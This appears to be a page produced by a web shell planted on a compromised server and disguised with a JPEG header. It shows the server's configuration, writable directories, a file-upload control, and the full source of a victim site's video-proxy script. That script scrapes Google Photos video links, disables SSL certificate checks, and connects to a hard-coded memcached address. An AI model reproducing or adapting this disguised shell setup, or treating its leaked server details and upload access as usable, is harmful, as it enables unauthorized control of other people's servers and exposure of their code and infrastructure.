ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/vidoe.top/proxy/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/vidoe.top/proxy/googlephoto.php
<?php
define('MSG_NO_ACCESS', 'No access');
/*$arr_bot_deny = array('googlebot','bingbot','baiduspider','ahrefsbot','semrushbot','seznambot','yoozbot','linkdexbot','mj12bot','seobilitybot','msnbot-media','facebookexternalhit',' mail.ru_bot','musobot','sogou web spider');
foreach ($arr_bot_deny as $val) {
    if(stripos($_SERVER['HTTP_USER_AGENT'],$val)!== false){
        header('HTTP/1.0 403 Forbidden');
        die();
        exit();
    }
}*/
$acceptedDomains = array('movieandvideo.net','123vid.net');
$referer=get_domain($_SERVER['HTTP_REFERER']);
if(!$referer || !in_array($referer,$acceptedDomains))
{
    header('HTTP/1.0 403 Forbidden');
    exit(MSG_NO_ACCESS);
}
function get_domain($url)
{
    $pieces = parse_url($url);
    $domain = isset($pieces['host']) ? $pieces['host'] : '';
    if (preg_match('/(?P<domain>[a-z0-9][a-z0-9\-]{1,63}\.[a-z\.]{2,6})$/i', $domain, $regs))
    {
        return $regs['domain'];
    }
    return false;
}
if (substr_count($_SERVER['HTTP_ACCEPT_ENCODING'], 'gzip')){
    ob_start('ob_gzhandler');
}else{
    ob_start();
}
include 'Mobile_Detect.php';
$detect = new Mobile_Detect;
function str_encode($data,$pwd)
{
    $x = 0;
    $a = 0;
    $j = 0;
    $Zcrypt = '';
    $pwd_length = strlen($pwd);
    for ($i = 0; $i < 255; $i++) {
        $key[$i] = ord(substr($pwd, ($i % $pwd_length)+1, 1));
        $counter[$i] = $i;
    }
    for ($i = 0; $i < 255; $i++) {
        $x = ($x + $counter[$i] + $key[$i]) % 256;
        $temp_swap = $counter[$i];
        $counter[$i] = $counter[$x];
        $counter[$x] = $temp_swap;
    }
    for ($i = 0; $i < strlen($data); $i++) {
        $a = ($a + 1) % 256;
        $j = ($j + $counter[$a]) % 256;
        $temp = $counter[$a];
        $counter[$a] = $counter[$j];
        $counter[$j] = $temp;
        $k = $counter[(($counter[$a] + $counter[$j]) % 256)];
        $Zcipher = ord(substr($data, $i, 1)) ^ $k;
        $Zcrypt .= chr($Zcipher);
    }
    return $Zcrypt;
}
/*if(!function_exists (hex2bin)){
    function hex2bin($hexdata) {
        $bindata = '';
        for ($i=0;$i<strlen($hexdata);$i+=2) {
            $bindata .= chr(hexdec(substr($hexdata,$i,2)));
        }
        return $bindata;
    }
}*/
function curl($url) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    $head[] = "Connection: keep-alive";
    $head[] = "Keep-Alive: 300";
    $head[] = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7";
    $head[] = "Accept-Language: en-us,en;q=0.5";
    curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36');
    curl_setopt($ch, CURLOPT_HTTPHEADER, $head);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
    curl_setopt($ch, CURLOPT_TIMEOUT, 60);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 60);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
    curl_setopt($ch, CURLOPT_HTTPHEADER, array('Expect:'));
    $page = curl_exec($ch);
    curl_close($ch);
    return $page;
}
function getPhotoGoogle($link){
    $get = curl($link);

    $data = explode('url\u003d', $get);
    $url = explode('%3Dm', $data[1]);
    $decode = urldecode($url[0]);
    $count = count($data);
    $linkDownload = array();
    if($count > 4) {
        $v1080p = $decode.'=m37';
        $v720p = $decode.'=m22';
        $v360p = $decode.'=m18';
        $linkDownload['1080p'] = $v1080p;
        $linkDownload['720p'] = $v720p;
        $linkDownload['360p'] = $v360p;
    }
    if($count > 3) {
        $v720p = $decode.'=m22';
        $v360p = $decode.'=m18';
        $linkDownload['720p'] = $v720p;
        $linkDownload['360p'] = $v360p;
    }
    //if($count > 2) {
        $v360p = $decode.'=m18';
        $linkDownload['360p'] = $v360p;
    //}
    return $linkDownload;
}
$url = $_GET['url'];
$url =  str_encode(hex2bin($url),'ngocgiac');
$memcache = new Memcache;
$memcache->connect('46.249.32.55', 11211) or die ("Sorry, could not connect memcached! . We're working on getting this fixed as soon as we can.");
$key_url = md5($url);
$cache_show_source = $memcache->get($key_url);
if($cache_show_source){
    $show_source = $cache_show_source['show_source'];
    $default_res = $cache_show_source['default_res'];
}else {
    $test = getPhotoGoogle($url);
    $show_source = '';
    if (!empty($test)) {
        if ($detect->isMobile() or $detect->isTablet()) {
            foreach ($test as $key => $val) {
                if ($key == '360p') {
                    $show_source = '<source src="' . $val . '" type="video/mp4" data-res="' . $key . '"/>';
                    $default_res = '360p';
                }
            }
        } else {
            foreach ($test as $key => $val) {
                $show_source .= '<source src="' . $val . '" type="video/mp4" data-res="' . $key . '"/>';
                $default_res = '720p';
            }
        }
        if(!empty($show_source)) {
            $result['show_source'] = $show_source;
            $result['default_res'] = $default_res;
            $memcache->set($key_url, $result, MEMCACHE_COMPRESSED, 1200);
        }
    }
}
?>
<html>
    <head>
        <head>
            <title>-Server movieantube-phimle1 embed-</title>
            <style type="text/css">
                body {
                    background: #000000;
                    margin: 0px;
                    padding: 0px;
                }
            </style>
            <link href="https://www.123vid.net//proxy/jscript/video_js/video-js.css" rel="stylesheet" type="text/css" />
            <script src="https://www.123vid.net//proxy/jscript/video_js/video.js"></script>
            <link href="https://www.123vid.net//proxy/jscript/video_js/button-styles.css" rel="stylesheet" type="text/css" />
            <script src="https://www.123vid.net//proxy/jscript/video_js/video-quality-selector.js"></script>
            <script src="https://www.123vid.net//skin/phim98/assets/js/videojs/videojs-media-sources.js"></script>
            <script src="https://www.123vid.net//skin/phim98/assets/js/videojs/videojs.hls.min.js"></script>
            <script>
                videojs.options.flash.swf = "https://www.123vid.net//proxy/jscript/video_js/video-js.swf";
            </script>
        </head>
    </head>
<body style="width: 100%; height: 100%"  oncontextmenu="return false;">
    <video id="ht_player" width="100%" height="100%" class="video-js vjs-default-skin" preload="none" poster=" " data-setup="{ }" autoplay controls>
        <?php echo $show_source;?>
        <p>Video Playback Not Supported</p>
    </video>
    <script type="text/javascript">
        videojs( '#ht_player', { plugins : { resolutionSelector : {
            default_res : '<?php echo $default_res;?>'
        } } }, function() {
            var player = this;
            player.on( 'changeRes', function() {
                console.log( 'Current Res is: ' + player.getCurrentRes() );
            });
        });
    </script>
    </body></html>
<?php
ob_end_flush();
exit();
?>

ZeroDay Forums Mini